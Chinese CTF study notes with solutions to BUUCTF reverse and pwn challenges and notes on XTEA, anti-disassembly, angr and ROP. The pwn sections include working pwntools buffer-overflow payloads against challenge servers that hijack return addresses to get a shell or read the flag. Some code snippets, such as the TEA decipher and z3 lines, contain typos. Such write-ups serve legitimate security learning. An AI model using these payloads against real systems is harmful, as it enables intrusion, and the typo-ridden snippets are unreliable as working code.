v3[0] = v5;
v5 = v3[0] - LOBYTE(a1[5]);
v4[0] = v5; // v4[0] = 34L



//v4[1] = a1[11] * (a1[8] ^ v3[1]); -> v3[1] = (v4[1] / a1[11]) ^ a1[8];
v5 = a1[8] ^ v3[1];
v3[1] = v5;
v5 = a1[11] * v3[1];
v4[1] = v5;


//v4[2] = v3[2] - LOBYTE(a1[14]) -1; -> v3[2] = v4[2] + LOBYTE(a1[14]) +1;
v5 = v3[2] - LOBYTE(a1[14])
v3[2] = v5;
v5 = v3[2] - 1;
v4[2] = v5;


// v4[3] = a1[21] ^ (v3[3] + 1); -> v3[3] = (a1[21] ^ v4[3]) -1;
v5 = v3[3] + 1;
v3[3] = v5;
v5 = a1[21] ^ v3[3];
v4[3] = v5;


//v4[4] = (a1[24] * v3[4]) - LOBYTE(a1[27]); -> v3[4] = (v4[4] + LOBYTE(a1[27])) / a1[24];
v5 = a1[24] * v3[4];
v3[4] = v5;
v5 = v3[4] - LOBYTE(a1[27]);
v4[4] = v5;


//v4[5] = (v3[5] - 1) - 1; -> v3[5] = (v4[5] + 1) + 1;
v5 = v3[5] - 1;
v3[5] = v5;
v5 = v3[5] - 1;
v4[5] = v5;


//v4[6] = (a1[34] ^ v3[6]) - LOBYTE(a1[37]); -> v3[6] = (v4[6] + LOBYTE(a1[37])) ^ a1[34];
v5 = a1[34] ^ v3[6];
v3[6] = v5;
v5 = v3[6] - LOBYTE(a1[37]);
v4[6] = v5;


//v4[7] = a1[43] ^ (a1[40] + v3[7]); -> v3[7] = (v4[7] ^ a1[43]) - a1[40];
v5 = a1[40] + v3[7];
v3[7] = v5;
v5 = a1[43] ^ v3[7];
v4[7] = v5;


//v4[8] = (v3[8] + 1) - 1; -> v3[8] = (v4[8] + 1) - 1;
v5 = v3[8] + 1;
v3[8] = v5;
v5 = v3[8] - 1;
v4[8] = v5;


//v4[9] = a1[53] + (a1[50] * v3[9]); -> v3[9] = (v4[9] - a1[53])/a1[50];
v5 = a1[50] * v3[9];
v3[9] = v5;
v5 = a1[53] + v3[9];
v4[9] = v5;


//v4[10] = a1[59] ^ (a1[56] + v3[10]); -> v3[10] = (v4[10] ^ a1[59]) - a1[56];
v5 = a1[56] + v3[10];
v3[10] = v5;
v5 = a1[59] ^ v3[10];
v4[10] = v5;


//v4[11] = a1[65] * (a1[62] + v3[11]); -> v3[11] = (v4[11] / a1[65]) - a1[62];
v5 = a1[62] + v3[11];
v3[11] = v5;
v5 = a1[65] * v3[11];
v4[11] = v5;


//v4[12] = a1[71] + (a1[68] * v3[12]); -> v3[12] = (v4[12] - a1[71]) /a1[68];
v5 = a1[68] * v3[12];
v3[12] = v5;
v5 = a1[71] + v3[12];
v4[12] = v5;


//v4[13] = (a1[74] ^ v3[13]) - LOBYTE(a1[77]); -> v3[13] = (v4[13] + LOBYTE(a1[77])) ^ a1[74];
v5 = a1[74] ^ v3[13];
v3[13] = v5;
v5 = v3[13] - LOBYTE(a1[77]);
v4[13] = v5;


//v4[14] = (a1[80] + v3[14]) + 1; -> v3[14] = (v4[14] - 1) - a1[80];
v5 = a1[80] + v3[14];
v3[14] = v5;
v5 = v3[14] + 1;
v4[14] = v5;

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <iostream>
#include<windows.h>
using namespace std;

int main()
{
unsigned int a1[] = {10L, 4L, 16L, 8L, 3L, 5L, 1L, 4L, 32L, 8L, 5L, 3L, 1L, 3L, 2L, 8L, 11L, 1L, 12L, 8L, 4L, 4L, 1L, 5L, 3L, 8L, 3L, 33L, 1L, 11L, 8L, 11L, 1L, 4L, 9L, 8L, 3L, 32L, 1L, 2L, 81L, 8L, 4L, 36L, 1L, 12L, 8L, 11L, 1L, 5L, 2L, 8L, 2L, 37L, 1L, 2L, 54L, 8L, 4L, 65L, 1L, 2L, 32L, 8L, 5L, 1L, 1L, 5L, 3L, 8L, 2L, 37L, 1L, 4L, 9L, 8L, 3L, 32L, 1L, 2L, 65L, 8L, 12L, 1L, 7L, 34L, 7L, 63L, 7L, 52L, 7L, 50L, 7L, 114L, 7L, 51L, 7L, 24L, 7L, 4294967207L, 7L, 49L, 7L, 4294967281L, 7L, 40L, 7L, 4294967172L, 7L, 4294967233L, 7L, 30L, 7L, 122L};
unsigned char v4[] = {34L, 63L, 52L, 50L, 114L, 51L, 24L, 167L, 49L, 241L, 40L, 132L, 193L, 30L, 122L};
unsigned char v3[15];

v3[0] = (v4[0] + LOBYTE(a1[5])) ^ a1[2];
v3[1] = (v4[1] / a1[11]) ^ a1[8];
v3[2] = v4[2] + LOBYTE(a1[14]) +1;
v3[3] = (a1[21] ^ v4[3]) -1;
v3[4] = (v4[4] + LOBYTE(a1[27])) / a1[24];
v3[5] = (v4[5] + 1) + 1;
v3[6] = (v4[6] + LOBYTE(a1[37])) ^ a1[34];
v3[7] = (v4[7] ^ a1[43]) - a1[40];
v3[8] = (v4[8] + 1) - 1;
v3[9] = (v4[9] - a1[53])/a1[50];
v3[10] = (v4[10] ^ a1[59]) - a1[56];
v3[11] = (v4[11] / a1[65]) - a1[62];
v3[12] = (v4[12] - a1[71]) /a1[68];
v3[13] = (v4[13] + LOBYTE(a1[77])) ^ a1[74];
v3[14] = (v4[14] - 1) - a1[80];

cout<<"flag{";
for(int i = 0; i < 15; i++)
{
// cout<<i<<" "<<v3[i]<<" "<<char(v3[i])<<endl;
cout<<char(v3[i]);
}
cout<<"}"<<endl;

return 0;
}


flag{757515121f3d478}

这里还看到了一个新的技术,标记一下,以后有时间了学习

[(117条消息) BUUCTF-网鼎杯 2020 青龙组]singal——angr学习记录_1ens的博客-CSDN博客

35.crackMe

小张从网上下载到一个黑客软件,然而开发者并不打算共享,所以小张注册了一个用户名叫welcomebeijing,但是密码需要进行逆向计算,请求出密码,进行MD5的32位小写哈希,进行提交。 注意:得到的 flag 请包上 flag{} 提交

运行程序试试

image-20230709110538857

image-20230709110606924

先打开ida看看

image-20230709111738959

重点就是这个while循环,动调一下,看看if判断的地址

image-20230709111914730

00401DD,打开x32dbg,本来想直接跳转到这里下断点,但似乎

image-20230709112301563

地址不一样,那还是直接调试吧

image-20230709112551263

查看字符串信息,先在输入密码的那里下个断点吧

一个个单步调试

image-20230709113521586

00691DEC是判断密码正不正确的地方,但是x32的汇编太难看了,还是直接在ida看吧

image-20230709113852982

跟进这个函数

image-20230709113911884

但是这个代码不能反编译,看了看别的师傅的

,这里将爆红的部分nop掉就行,应该是某种反调试技术

image-20230709114718719

我用的keypatch,然后选中这些红色的部分,按p将他们定义为一个函数,就可以反汇编了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int __cdecl sub_4011A0(_BYTE *a1, _BYTE *a2)
{
int _EAX; // eax
int _EAX; // eax
int _EAX; // eax
int result; // eax

*a1 = 'C';
_EAX = 1;
a1[1] = 'o';
__asm { aam }
a1[2] = 'n';
a1[3] = 'g';
a1[4] = 'r';
a1[5] = 'a';
_EAX = 1;
a1[6] = 't';
__asm { aad }
a1[7] = 'u';
a1[8] = 'l';
a1[9] = 'a';
a1[10] = 't';
a1[11] = 'i';
a1[12] = 'o';
a1[13] = 'n';
a1[14] = 's';
a1[15] = ':';
a1[16] = ')';
a1[17] = '\r';
a1[18] = '\n';
a1[19] = 0;
*a2 = 'P';
a2[1] = 'l';
a2[2] = 'e';
a2[3] = 97;
a2[4] = 115;
LOBYTE(_EAX) = (_BYTE)a2;
a2[5] = 101;
__asm { daa }
a2[6] = 32;
a2[7] = 116;
a2[8] = 114;
a2[9] = 121;
a2[10] = 32;
a2[11] = 97;
a2[12] = 103;
a2[13] = 97;
a2[14] = 105;
a2[15] = 110;
__rdtsc();
a2[16] = 13;
a2[17] = 10;
__rdtsc();
result = 1;
a2[18] = 0;
return result;
}

貌似就是将congratulation赋值,这里的result赋值为了1,就说明v3的判断可以满足了

image-20230709115104428

跟进

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
bool __cdecl sub_401830(int a1, const char *a2)
{
int v3; // [esp+18h] [ebp-22Ch]
int v4; // [esp+1Ch] [ebp-228h]
int v5; // [esp+28h] [ebp-21Ch]
unsigned int v6; // [esp+30h] [ebp-214h]
char v7; // [esp+36h] [ebp-20Eh]
char v8; // [esp+37h] [ebp-20Dh]
char v9; // [esp+38h] [ebp-20Ch]
unsigned __int8 v10; // [esp+39h] [ebp-20Bh]
unsigned __int8 v11; // [esp+3Ah] [ebp-20Ah]
char v12; // [esp+3Bh] [ebp-209h]
int v13; // [esp+3Ch] [ebp-208h] BYREF
char v14; // [esp+40h] [ebp-204h] BYREF
char v15[255]; // [esp+41h] [ebp-203h] BYREF
char v16; // [esp+140h] [ebp-104h] BYREF
char v17[255]; // [esp+141h] [ebp-103h] BYREF

v4 = 0;
v5 = 0;
v11 = 0;
v10 = 0;
v16 = 0;
memset(v17, 0, sizeof(v17));
v14 = 0;
memset(v15, 0, sizeof(v15));
v9 = 0;
v6 = 0;
v3 = 0;
while ( v6 < strlen(a2) )
{
if ( isdigit(a2[v6]) )
{
v8 = a2[v6] - 48;
}
else if ( isxdigit(a2[v6]) )
{
if ( *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30u) + 24) + 12) != 2 )
a2[v6] = 34;
v8 = (a2[v6] | 0x20) - 87;
}
else
{
v8 = ((a2[v6] | 0x20) - 97) % 6 + 10;
}
__rdtsc();
__rdtsc();
v9 = v8 + 16 * v9;
if ( !((int)(v6 + 1) % 2) )
{
*(&v14 + v3++) = v9;
v9 = 0;
}
++v6;
}
while ( v5 < 8 )
{
v10 += byte_416050[++v11];
v12 = byte_416050[v11];
v7 = byte_416050[v10];
byte_416050[v10] = v12;
byte_416050[v11] = v7;
if ( (*(_DWORD *)(__readfsdword(0x30u) + 104) & 0x70) != 0 )
v12 = v10 + v11;
*(&v16 + v5) = byte_416050[(unsigned __int8)(v7 + v12)] ^ *(&v14 + v4);
if ( (unsigned __int8)*(_DWORD *)(__readfsdword(0x30u) + 2) )
{
v10 = -83;
v11 = 43;
}
sub_401710(&v16, a1, v5++);
v4 = v5;
if ( v5 >= (unsigned int)(&v14 + strlen(&v14) + 1 - v15) )
v4 = 0;
}
v13 = 0;
sub_401470(&v16, &v13);
return v13 == 0xAB94;
}
  1. 进入一个 while 循环,循环条件是 v6 < strlen(a2),即遍历字符串 a2 的每个字符。
  2. 在循环中,根据字符的类型进行不同的处理:
    • 如果字符是数字,则将其转换为相应的数值。
    • 如果字符是十六进制数字,则进行一些额外的操作,同时检查一个条件,如果条件满足,则将当前字符替换为双引号(34 的 ASCII 值)。
    • 如果字符不是数字也不是十六进制数字,则进行另一种处理。
  3. 在每次循环迭代中,执行了两次 __rdtsc() 指令,该指令用于获取 CPU 的时间戳计数(TSC)值。
  4. 计算了一个值 v9,通过对前面处理得到的数值进行操作和移位得到。每当处理了两个字符后,将 v9 存储到 v14 数组中,并将 v9 重置为 0。
  5. 接下来有一个 while 循环,循环条件是 v5 < 8。在每次循环迭代中,执行以下操作:
    • 对一系列名为 byte_416050 的数组进行一些计算和交换。
    • 检查一个条件,并根据条件修改变量 v12v11
    • 对数组 byte_416050 进行异或操作,并将结果存储到 v16 数组中。
  6. 经过上述循环后,调用了一个函数 sub_401470,并将 v16v13 作为参数传递给它。
  7. 最后,将比较 v13 的值是否等于 0xAB94,如果相等,则返回 true,否则返回 false

先分析最后的 sub_401470(&v16, &v13);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
_DWORD *__usercall sub_401470@<eax>(int a1@<ebx>, _BYTE *a2, _DWORD *a3)
{
_DWORD *_EAX; // eax
char v5; // al
char _AL; // al
_DWORD *result; // eax

if ( *a2 != 'd' )
*a3 ^= 3u;
else
*a3 |= 4u;
if ( a2[1] != 'b' )
{
*a3 &= 0x61u;
_EAX = (_DWORD *)*a3;
}
else
{
_EAX = a3;
*a3 |= 0x14u;
}
__asm { aam }
if ( a2[2] != 'a' )
*a3 &= 0xAu;
else
*a3 |= 0x84u;
if ( a2[3] != 'p' )
*a3 >>= 7;
else
*a3 |= 0x114u;
if ( a2[4] != 'p' )
*a3 *= 2;
else
*a3 |= 0x380u;
if ( *(_DWORD *)(*(_DWORD *)(__readfsdword(0x30u) + 24) + 12) != 2 )
{
if ( a2[5] != 0x66 )
*a3 |= 0x21u;
else
*a3 |= 0x2DCu;
}
if ( a2[5] != 's' )
{
v5 = (char)a3;
*a3 ^= 0x1ADu;
}
else
{
*a3 |= 0xA04u;
v5 = (char)a3;
}
_AL = v5 - (~(a1 >> 5) - 1);
__asm { daa }
if ( a2[6] != 'e' )
*a3 |= 0x4Au;
else
*a3 |= 0x2310u;
if ( a2[7] != 'c' )
{
*a3 &= 0x3A3u;
result = (_DWORD *)*a3;
}
else
{
result = a3;
*a3 |= 0x8A10u;
}
return result;
}

因为要满足最后的result==0xAB94,所以这里v16的值应该是dbappsec

然后再倒回去分析sub_401710(&v16, username, v5++)

image-20240605214028526

之后就差byte_5F6050的数据了,打好断点开始动调

image-20240605222037764

在这里就可以看到eax是我们输入的密码,ecx就是我们所要的数据了,一个个记下来,但是不能让跳转发生,把这里改成jnz,0x7E 。。。。这里找出数据后发现和网上的wp不一致,换成x32就一致了,不知道为什么,数据为0x2A, 0xD7, 0x92, 0xE9, 0x53, 0xE2, 0xC4, 0xCD

image-20240605222235553

之后按照流程写脚本逆向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
v16_2 = "dbappsec"
user = "welcomebeijing"

v16 = []
for i in range(8):
temp = ord(v16_2[i])^ord(user[i])
v16.append(temp)
print(v16)

passwd = ""
byte_416050 = [0x2A, 0xD7, 0x92, 0xE9, 0x53, 0xE2, 0xC4, 0xCD]
for i in range(8):
passwd += hex(byte_416050[i]^v16[i]).replace('0x','')

print(passwd)

得到密码39d09ffa4cfcc4cc

image-20240605225611324

只不过这里buu答案是错的

36[羊城杯 2020]easyre1

三个解密,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import string

v="EmBmP5Pmn7QcPU4gLYKv5QcMmB3PWHcP5YkPq3=cT6QckkPckoRG"
v2=''
for i in v:
if i >='A' and i<='Z':
v2+=chr((ord(i)-65-3)%26+65)
elif i>='a' and i<='z':
v2+=chr((ord(i)-97-3)%26+97)
elif i>='0' and i<='9':
v2+=chr((ord(i)-48-3)%10+48)
else:
v2+=i

v3=v2[13:26]+v2[39:]+v2[:13]+v2[26:39]
flag=str(v3)

print(base64.b64decode(flag))

BjYjM2Mjk4NzMR1dIVHs2NzJjY0MTEzM2VhMn0=zQ3NzhhMzhlOD
R1dIVHs2NzJjYzQ3NzhhMzhlODBjYjM2Mjk4NzM0MTEzM2VhMn0=
b'GWHT{672cc4778a38e80cb362987341133ea2}'

pwn

1
file re2 #查看文件信息	

image-20230505111645433

test_your_nc

下载文件后放到Ubuntu中查看文件信息

image-20230505122354266

从图上可以看出它是一个64位程序,开了NX防护(堆栈不可执行)

代码中:

Relro:Full Relro(重定位表只读)
Relocation Read Only, 重定位表只读。重定位表即.got 和 .plt 两个表。
Stack:No Canary found(能栈溢出)
NX: NX enable(不可执行内存)
Non-Executable Memory,不可执行内存。
PIE: PIE enable(开启ASLR 地址随机化)
Address space layout randomization,地址空间布局随机化。通过将数据随机放置来防止攻击。

打开ida

image-20230505122624933

双击/bin/sh, 点击command,点击X,发现/bin/sh的address在main函数里

image-20230505123200365

发现main函数就是一个简单的system函数.直接调用了/bin/sh,所以根据题目提示直接nc就行.

回到Linux,直接nc做题

简单查看一下nc的用法: nc -help
nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等

image-20230505123420943

image-20230505123445254

rip1

也是先检查一下

image-20230505123638118

发现并没有开启保护,并且有可执行可写片段

打开ida,找到main函数

image-20230506183032379

发现main函数并不复杂,只是定义了一个 s ,而且我们很容易就能找到栈溢出的点,我们都知道gets函数是一个危险函数,对于我们来说它可以接受到无限的字符,所以这里就是我们要pwn掉的点。

image-20230506183124665

s有十五个空间

image-20230506183231331

同时main函数下面还有一个fun函数

image-20230510200113970

这里可以直接看到/bin/sh的地址了,但是想试一下pwntool的查找功能

在pwntool里面再试一下

image-20230510200325582

ok,和ida分析的一样,very的好用啊

动态找一下栈溢出的空间

image-20230510200612280

单步运行至gets函数的地方,开始输入,查看栈信息

image-20230510200807802

1
distance 0xffffd4dc 0xffffd548

那么就是十五个字节的垃圾数据加八字节的覆盖rbp垃圾数据加八字节的0x40201b

exp如下:

1
2
3
4
5
6
from pwn import *
io=remote("node4.buuoj.cn",29220)
shell_addr=0x40201b
payload=(b'A'*15+b'A'*8+p64(0x40201b))
io.sendline(payload)
io.interactive()

但是没有奏效,很奇怪。。。

后来发现应该我忘了一个很重要的点,我根本没有call system。。。

image-20230510205431100

call system是在0x401191,而且前面也有/bin/sh字段了,所以要从0x401187开始,因为从86开始会push一个新的rbp,反正会导致Ubuntu的栈不对齐然后不成功 那再来试一下

image-20230510205826322

1
2
3
4
5
6
7
from pwn import *
#io=process("./pwn1")
io=remote("node4.buuoj.cn",27704)
shell_addr=0x40201b
payload=(b'A'*15+b'A'*8+p64(0x401187))
io.sendline(payload)
io.interactive()

image-20230510212357760

flag{2ea2e49d-33f1-479a-8a8e-feb1ba93d082}

warmup_csaw_2016

image-20230704214919398

打开ida,来到main函数

image-20230704214947544

有个return gets(),查看字符串信息

image-20230704222341439

发现了不得了的东西 cat flag.txt

image-20230704222558605

image-20230704222904315

这个函数还可以直接执行,看看压栈地址

image-20230704223027230

那么返回地址就是0x400611了

image-20230704223959185

查看get函数的参数,距离返回地址

image-20230704224120169

这个参数是0x40,那么payload长度就是0x40+8

exp如下:

1
2
3
4
5
6
from pwn import *
p = remote('ip地址',ip端口)
payload='a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

image-20230704224817068

打开ida,进入main函数

image-20230704225040515

跟进func()

image-20230704225108960

所以思路很简单,让gets的返回地址将11.28125写到v2上就行

image-20230704225537455

所以这个栈的情况是这样的

image-20230704225623273

因此,覆盖0x30-0x4=44个字节给v1,另外4个字节给v2

由于v2数值在内存中以16进制存储,所以,找到11.28125的16进制值。

image-20230704230644621

image-20230704231349792

0x41348000应该就是11.28125的十六进制值

exp如下:

1
2
3
4
5
6
7
8
from pwn import *

p=remote('node3.buuoj.cn',29191)

payload="A"*44+p64(0x41348000)
p.sendline(payload)

p.interactive()

补充:

变量类型 存储大小
db 一字节
dw 两字节
dd 四字节
df 六字节
dq 八字节

在这里插入图片描述

libc database search (blukat.me)

Reverse学习

XTEA

  • TEA这个简单加密算法在中国如此有名,主要因为腾讯系软件在大量协议和本地数据中使用这个算法。网上很多人甚至直接将TX的加密算法称为TEA算法。
  • 0x9e3779b9
  • 左移4或者右移5
  • 普通TEA

image-20240501212527115

image-20240501212120938

XTEA是TEA的升级版,增加了更多的密钥表,移位和异或操作等等,设计者是Roger Needham, David Wheeler

TEA解密

1
2
3
4
5
6
7
8
9
10
void decipher(unsigned int num_rounds,uint32_t v[2],uint32_t const key[4]) {
unsigned int i;
uint32_t vO=v[0],v1=v[1],de1ta=Ox9E3779B9,sum=de1ta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 <<4) A (v0 >> 5)) + v0) A (sum + key[(sum>>11)& 3]);
sum -= delta;
v0 -= (((v1 <<4) A(v1 >>5)) + v1) A(sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}

XXTEA

XXTEA,又称Corrected Block TEA,是XTEA的升级版,设计者是Roger Needham, David Wheeler

  • DELTA:算是该加密算法的一个特征值,为黄金分割数(5-2)/2与232的乘积。实际上,该值不影响算法,但能很好的避免一些算法错误。该数值在其他算法中也常有运用。
  • MX:对照图例。MIX值(混合,混淆),在本例中请对照加密图解,算是算法的一部分。
  • n: 对应明文或密文的数组长度。
  • v:明文或密文数组。对应图解中的X. key:密钥数组。对应图解中的Krounds: 加密循环的轮数。.
  • sum:对应图解中的D。
  • e:对应图解中的(D>>2)
  • p:本例中用作明文或密文数组的索引。
  • r:(扩散作用)参照代码,类比p&3(该符号在图中而不在代码中)。3的二进制编码为11,任何数与其与运算后,可能产生(00,01,10,11),对应(0,1,2,3)
  • 图解符号:
    • 方框:相加盒。将指向该盒的变量进行相加。
    • 圆圈:异或盒。将指向该盒的变量进行异或。

image-20240501231749704

XXTEA解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdbool.h>
#define MX ((z >> 5 ^ y << 2) + (y >> 3^z <<4) ^ (sum ^ y) + (k[p & 3 ^ e] ^ z))

bool xxtea(unsigned int* v, int n, unsigned int* k) {
unsigned int z = v[n - 1], y = v[0], sum = 0, e, DELTA = 0x9e3779b9;
unsigned int p, q;
if (n > 1) { /* coding Part */
q = 6 + 52 / n;
while (q-- > 0) {
sum += DELTA;
e = (sum >> 2) & 3;
for (p = 0; p < n - 1; p++)
y = v[p + 1],z = v[p] += MX;
y = v[0];
z = v[n - 1] += MX;
}
return 0;
}
else if (n < -1) { //Decoding Part
n = -n;
q = 6 + 52 / n;
sum = q * DELTA;
while (sum != 0) {
e = (sum >> 2) & 3;
for (p = n - 1; p > 0; p--)
z = v[p - 1], y = v[p] -= MX;
z = v[n - 1];
y = v[0] -= MX;
sum -= DELTA;
}
return 0;
}
return 1;
}

int main() {
unsigned int v[6] = {
0xC9494AB9,
0xD57A3CE1,
0xAF8EBF15,
0xAF53A5E9,
0xEC575E2B,
0xD4ABB47D
-917943623,
-713409311,
-1349599467,
-1353472535,
-329818581,
-726944643
};
unsigned int key[4] = { 2018915346, 266255514, 2562383102, 271733878 };
xxtea(v, 6, key);
for (int i = 0; i < 6; i++)
printf("%c", v[i]);
}
1
2
3
4
5
6
7
8
9
# 给定的密钥(十六进制转字节)
key_hex = '785634120FDEBC9A98BADCFE10325476'
key_bytes = bytes.fromhex(key_hex)

# 将字节流转换为四个32位整数(大端序)
key_ints = [int.from_bytes(key_bytes[i:i+4], byteorder='big') for i in range(0, len(key_bytes), 4)]

# 现在,key_ints 是一个包含四个32位整数的列表,可以作为XXTEA算法的密钥
# [2018915346, 266255514, 2562383102, 271733878]

脏字

U+C(XREF)

1
2
3
4
5
6
7
8
9
10
11
12
addr :
push ebp
jz addr2
jnz addr2
db 0xE8 #会把0xE8当成call一个地址
addr3 :
sub esp,0x100
add eax,0x1
sub ebx,0xAFBC11
addr2:
mov ebp,esp
jmp addr3

sp analysis failed(没办法f5)

IDA分析时,需要确认”代码块”和”数据块”并把”有价值”的”代码块”分析为函数但是这种分析过程需要对esp寄存器充分追踪-旦追踪失败便会报错sp analysis failed 或者esp analysis failed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
addr1:
push ebp
push addr2
ret
jz addr2
jnz addr2
db OxE8
addr3:
sub esp,0x100;0x81
add eax,0x1
sub ebx,0xAFBC11
mov esp,ebp
ret
;当作JMP使用
addr2:
mov ebp,esp
push addr3
ret

非自然程序流程

  • 扁平化的程序控制流
  • OLLVM程序流程控制转交

主要是使用XREF来对程序流程进行跟踪和控制

1
2
3
4
5
6
7
8
9
10
11
from z3 import *
x, y=Bitvecs( 'x y ',32)
s=Solver()
s.add(y / 2-x == -107702)
s.add(y & 1 == 0)
s.add(y A 333509 == x)
s.add(881778666>=y)
print(s.check())
' SAT'#有解的话
print(s.model())

angr

00angr

1
2
3
4
5
6
7
8
9
10
11
12
13
import angr

In [2]: p=angr.Project("./00_angr_find")
In [3]: init_state=p.factory.entry_state()
In [4]: sm=p.factory.simulation_manager(init_state)
In [5]: sm.explore(find=0x08048678)
0:24,782 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffeff60 with 4 unconstrained bytes referenced from 0x8100000 (strcmp+0x0 in extern-address space (0x0))
Out[5]: <SimulationManager with 1 active, 16 deadended, 1 found>
In [6]: sm.found
Out[6]: [<SimState @ 0x8048678>]
In [7]: found_state=sm.found[0]
In [8]: found_state.posix.dumps(0)
Out[8]: b'JXWVXRKX'

01angr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
In [6]: p=angr.Project("./01_angr_avoid")

In [7]: init_state=p.factory.entry_state()

In [8]: sm=p.factory.simulation_manager(init_state)

In [9]: sm.explore(find=0x080485E5,avoid=0x080485A8)

In [10]: found_state=sm.found[0]

In [12]: found_state.posix.dumps(1)
Out[12]: b'Enter the password: '

In [13]: found_state.posix.dumps(0)
Out[13]: b'HUJOZMYS'

In [14]: avoid_state=sm.avoid

In [15]: print(avoid_state)
[<SimState @ 0x80485a8>, <SimState @ 0x80485a8>, <SimState @ 0x80485a8>, <SimState @ 0x80485a8>, <SimState @ 0x80485a8>, <SimState @ 0x80485a8>, <SimState @ 0x80485a8>, <SimState @ 0x80485a8>]

In [17]: print(found_state)
<SimState @ 0x80485e5>

In [18]: avoid_state[0].posix.dumps(0)
Out[18]: b'ADAPBAPC'

02angr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import angr
import sys


def main(argv):
bin_path = argv[1]
p = angr.Project(bin_path)

init_state = p.factory.entry_state()
sm = p.factory.simulation_manager(init_state)

def is_good(state):
return b'Good Job' in state.posix.dumps(1)

def is_bad(state):
return b'Try again' in state.posix.dumps(1)

sm.explore(find=is_good, avoid=is_bad)

if sm.found:
found_state = sm.found[0]
print("Solution: {}".format(found_state.posix.dumps(0)))


if __name__ == '__main__':
main(sys.argv)

03angr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import angr
import sys
import claripy

def main(argv):
bin_path=argv[1]
p=angr.Project(bin_path)

start_addr=0x8048980
init_state=p.factory.blank_state(addr=start_addr)

pass1=claripy.BVS('pass1',32)
pass2=claripy.BVS('pass2',32)
pass3=claripy.BVS('pass3',32)

init_state.regs.eax=pass1
init_state.regs.ebx=pass2
init_state.regs.edx=pass3

sm=p.factory.simulation_manager(init_state)

def is_good(state):
return b'Good job' in state.posix.dumps(1)

def is_bad(state):
return b'Try again' in state.posix.dumps(1)
sm.explore(find=is_good,avoid=is_bad)

if sm.found:
found_state=sm.found[0]

password1=found_state.solver.eval(pass1)
password2=found_statesolver.eval(pass2)
password3=found_statesolver.eval(pass3)
print('Solution: {:x} {:x} {:X}'.format(password1,password2,password3))
else:
raise Exception('No solution found')

if __name__=='__main__':
main(sys.argv)

web

[ACTF2020 新生赛]Include1(文件包含)

这道题没有思路,直接搜的,学到了一个新东西,php伪协议

PHP 伪协议:使用 php://input 访问原始 POST 数据-CSDN博客

在 PHP 中,伪协议(Pseudo Protocols) 也被称为 流包装器,这些伪协议以 php:// 开头,后面跟着一些参数,用于指定 要执行的操作 或 需要访问的资源。
伪协议表明这些协议并不是一个 真实的外部协议,例如 http 或 ftp。PHP 伪协议的出现是为了提供一个 统一的、简洁的 接口来处理 不同的数据流。这些伪协议可以被看作是一种 桥梁,它们允许开发者 使用常规的文件操作函数来处理各种不同的数据流。

pwn学习

Cyclic Pattern

1
2
3
cyclic(0x100)#生成一个0x100大小的pattern,即一个特殊的字符串
cyclic_find(0x61616161)#找到该数据在pattern中的位置(或者是cyclic -l 0x61616161)
cyclic_find('aaaa')#查找位置也可以使用字符串去定付

image-20240616010950321

ELF操作

1
2
3
4
5
6
7
8
9
10
>>>e = ELF('/bin/cat')
>>>print hex(e.address) #文件装载的基地址
0x400000
>>>print hex(e.symbols['write'])# 函数地址,symbols,got,plt均是列表
0x401680
>>>print hex(e.got['write'])# GOT表的地址
0x60b070
>>>print hex(e.plt['write'])# PLT的地址
0x401680
>>>print hex(e.search('/bin/sh').next())#字符串/bin/sh的地址字符串加()

基本ROP

image-20230510214030837

image-20230528011658739

return to text

最简单的栈溢出利用

利用前提:

开启了NX,栈上无法写入shellcode
shellcode包含system(“/bin/sh”)等
当NX保护开启,就表示题目给了你system(‘/bin/sh’),如果关闭,表示你需要自己去构造shellcode

利用思路:

只要存在后门函数且有调用,就可以劫持EIP然后return to text

手动测量变量溢出长度

还是ctfwiki的ret2text的题PWN入门(1-3-3)-手动测量变量溢出长度 (yuque.com)

image-20240617223551064

image-20240617223726047

image-20240617225244556

从这里就可以看出程序溢出点为:0x62616164

